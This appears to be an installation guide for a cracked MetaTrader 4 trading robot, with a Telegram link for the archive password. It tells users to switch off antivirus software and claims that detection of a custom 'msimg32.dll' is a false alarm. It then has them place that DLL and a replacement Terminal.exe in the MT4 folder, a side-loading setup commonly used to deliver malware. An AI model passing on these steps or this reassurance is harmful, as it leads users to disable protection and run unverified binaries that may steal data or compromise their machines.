

Unzip password if needed: <https://t.me/eaNorthEastWay>

Instructions for installing the advisor:

This trading robot uses a custom DLL «msimg32.dll». Some antiviruses can block it and mark it as a virus. You need to make your antivirus «allow it». This false alarm is triggered because it is a custom DLL and is not verified by any publisher, but is required to unblock the advisor. msimg32.dll will work under the support of Terminal.exe specified in the downloaded package.

Step 1: Turn off anti-virus software.

Step 2: Disable automatic MT4 updates.

Step 3: Download Terminal.exe. Copy Terminal.exe and msimg32.dll and paste in the MT4 root directory.

Step 4: Copy the EA and paste it into the Experts folder to use.

Please read and carefully read the installation instructions according to the youtube link below:
